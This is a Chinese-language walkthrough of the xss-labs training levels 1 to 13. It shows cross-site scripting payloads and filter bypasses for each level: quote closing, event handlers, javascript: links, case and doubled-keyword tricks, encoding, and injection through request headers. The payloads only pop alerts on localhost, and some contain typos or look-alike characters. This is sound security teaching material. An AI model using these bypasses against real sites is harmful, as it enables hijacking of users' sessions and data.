目录
level1
无任何防御检测:
<script>alert(1)</script>
level2
存在WAF检测的情况:
value="<script>alert(1)</script>">
页面存在回显,查看源代码看看他的闭合符是什么,将左面的进行闭合,在进行注入
"> <script>alert(1)</script> "
> -->将左边的进行闭合
level3
存在将字符编码
如:< 编码成<;>编码成>;"编码成";
value='<script>alert(1)</script>'>
先进性闭合,写一个onmouseover事件 ' οnmοuseοver='alert(/xss/)'> 前后为单引号,所以我们闭合也应为单引号 此事件为将鼠标放到输入窗口触发事件即注入成功
level4
<script " 'Oonn>进行测试看看网页将什么注释掉了
查看他将<>注释掉了
可以进行onmousover事件来触发 " οnmοuseοver="alert(/xss/) 前后为双引号,所以我们闭合也应为双引号
level5
将关键字过滤了
value="<scr_ipt " 'oo_nn>">
进行伪协议来触发(超链接) "> <a href="javascript:alert:alert(/xss/)">click</a> 源码:value=""> <a href="javascript:alert:alert(/xss/)">click</a> ">
level6
<script " 'Oonn>进行测试
value="<scr_ipt " 'oo_nn>">将关键字过滤了
输入"> <a href="javascript:alert:alert(/xss/)">click</a>发现
value=""> <a hr_ef="javascript:alert:alert(/xss/)">click</a>">被注释
尝试大小写进行注入 "> <a hREf="javascript:alert(/xss/)">click</a>
level7
<script " 'Oonn>进行测试
value="< " 'on>"> 发现只剩下一个on
尝试双写注入 " oonnmouseover="alert(/xss/)
level8-添加友情链接
<script " 'Oonn>进行测试
<a href="<scr_ipt " 'oo_nn>">
尝试超链接注入javascript:alert(/xss/)
<a href="javascr_ipt:alert:alert(/xss/)"> 发现script被注释
对s进行十六进制编码进行注入:s --> s javascript:alert(/xss/)
level9-添加友情链接,你的连接不合法
<script " 'Oonn>进行测试
<a href="您的链接不合法?有没有!">
尝试超链接注入javascript:alert(/xss/)依旧为上面的不合法
将(/xss/)改为正常的网页连接 Javascript:alert('http://baidu.com')
level10
发现无输入框,再看请求头发现为GET请求
发现input有三个输出
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
一个一个进行尝试
http://localhost/xss-labs/xss/level10.php?t_link=1
http://localhost/xss-labs/xss/level10.php?t_history=1
http://localhost/xss-labs/xss/level10.php?t_sort=1
发现t_sort=1的value有回显
<input name="t_sort" value="1" type="hidden">
对t_sort字段进行注入
创建一个click按钮,点击之后注入成功
click" type="button" οnclick="alert(/xss/)
level11
测试:<script " ' Oonn>
发现四个input,想到尝试一个一个注入
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="
http://localhost/xss-labs/xss/level10.php?t_sort=click%22%20type=%22button%22%20οnclick=%22alert(/xss/)" type="hidden">
但是GET请求头会有字段我们需要抓取包获得
打开bp抓包找到referer字段
Referer: http://localhost/xss-labs/xss/level11.php?t_sort=click%27%20type=%27button%27%20οnclick=%27alert(1)
我们对referer字段进行修改
设置文本框注入
" type="text" οnclick="alert(/xss/)
也可以设置click按钮进行注入
click" type="button" οnclick="alert(/xss/)
level12
跟11关一样,只不过是User-Agent字段注入
level13
分析页面代码,为cookie字段注入